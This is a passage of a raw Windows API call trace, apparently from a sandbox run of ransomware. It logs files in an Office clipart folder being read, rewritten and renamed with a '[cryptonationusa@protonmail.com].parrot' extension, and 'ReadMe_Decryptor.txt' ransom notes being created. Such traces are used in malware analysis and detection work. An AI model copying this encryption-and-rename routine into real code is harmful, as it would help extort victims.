nNumberOfBytesToRead=0x7c08, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7c08, lpOverlapped=0x0) returned 1 [0149.609] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.610] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7d20, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.610] CloseHandle (hObject=0x27c) returned 1 [0149.610] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.616] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f6d, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.616] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.616] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.618] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.619] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e55, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1e55, lpOverlapped=0x0) returned 1 [0149.620] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.620] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f6d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.620] CloseHandle (hObject=0x27c) returned 1 [0149.620] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.659] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7d20, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.659] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.659] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.660] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.661] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7c08, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7c08, lpOverlapped=0x0) returned 1 [0149.662] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.664] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7d20, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.664] CloseHandle (hObject=0x288) returned 1 [0149.664] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.671] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ed0, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.671] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.671] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.673] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.673] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7db8, lpOverlapped=0x0) returned 1 [0149.675] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.676] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ed0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.677] CloseHandle (hObject=0x288) returned 1 [0149.677] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.683] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7df8, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.683] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.683] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.685] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.685] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7ce0, lpOverlapped=0x0) returned 1 [0149.687] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.689] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7df8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.689] CloseHandle (hObject=0x288) returned 1 [0149.689] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.713] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ed0, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.713] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.714] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.715] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.715] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7db8, lpOverlapped=0x0) returned 1 [0149.717] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.718] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ed0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.718] CloseHandle (hObject=0x288) returned 1 [0149.719] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0149.719] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0149.719] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0149.719] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.722] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0149.722] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0149.722] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0149.724] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0149.724] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0149.724] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0149.724] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0149.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0149.725] GetFileType (hFile=0x288) returned 0x1 [0149.726] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0149.737] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7df8, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.737] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.737] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.739] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.739] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7ce0, lpOverlapped=0x0) returned 1 [0149.741] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0149.741] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0149.741] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0149.741] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0149.741] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0149.741] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0149.741] GetLastError () returned 0x0 [0149.742] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.742] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0149.742] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0149.742] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0149.742] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0149.742] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0149.742] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0149.742] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0149.742] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0149.742] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0149.742] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0149.742] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0149.742] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0149.742] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0149.742] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0149.742] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0149.742] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0149.742] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0149.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0149.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0149.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0149.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0149.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0149.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0149.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0149.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0149.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ede8 [0149.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0149.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0149.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ede8 | out: hHeap=0x5b0000) returned 1 [0149.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0149.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0149.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0149.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0149.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0149.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0149.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0149.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0149.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0149.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0149.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0149.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0149.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0149.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0149.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0149.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0149.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x6a9250 [0149.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0149.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x3168090 [0149.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0149.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6a9250 [0149.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3168090 | out: hHeap=0x5b0000) returned 1 [0149.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x2210048 [0149.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0149.745] WriteFile (in: hFile=0x288, lpBuffer=0x2210060*, nNumberOfBytesToWrite=0x7e08, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2210060*, lpNumberOfBytesWritten=0x18eed4*=0x7e08, lpOverlapped=0x0) returned 1 [0149.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0149.782] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7df8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.782] CloseHandle (hObject=0x288) returned 1 [0149.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0149.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0149.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0149.782] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0149.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0149.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0149.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0149.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0149.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0149.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0149.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0149.787] GetFileType (hFile=0x288) returned 0x1 [0149.787] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0149.799] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9bd6, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.799] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.799] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.801] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.801] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9abe, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9abe, lpOverlapped=0x0) returned 1 [0149.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0149.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0149.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0149.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0149.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0149.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0149.803] GetLastError () returned 0x0 [0149.805] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.805] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0149.805] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0149.805] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0149.805] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0149.805] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0149.805] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0149.805] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0149.805] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0149.805] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0149.805] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0149.805] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0149.805] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0149.805] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0149.805] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0149.805] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0149.805] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0149.805] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0149.805] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0149.805] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0149.805] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0149.805] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0149.806] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 